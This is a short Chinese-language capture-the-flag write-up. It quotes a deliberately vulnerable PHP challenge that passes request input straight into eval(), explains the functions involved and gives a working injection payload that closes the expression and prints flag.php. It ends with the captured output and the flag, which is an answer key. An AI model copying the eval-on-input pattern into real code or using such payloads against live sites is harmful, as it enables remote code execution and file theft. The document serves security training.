题目
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
关键函数
include(),引用文件,说明flag.php在同一文件夹下。
$_REQUEST[ ]等同于$_GET + $_POST,都可以用。
eval()能将字符串按PHP代码执行,这里是常用的的PHP注入点。(题眼在这里)
var_dump()显示表达式的类型和值,可以递归展开数组。
show_source()高亮文件,这里没啥用。
解题思路
用GET方法传参构造注入:
/?hello=1);print_r(file("flag.php"));//
/?hello=1);闭合括号
file("flag.php")提取文件内容为字符数组(一行为一个字符串)
print_r()逐行打印
结果
执行后得到:
int(1) Array ( [0] => $flag = 'Too Young Too Simple'; [2] => # echo $flag; [3] => # flag{1a9d50b65537a21bd484ee4a7e8a83b0}; [4] => ?> )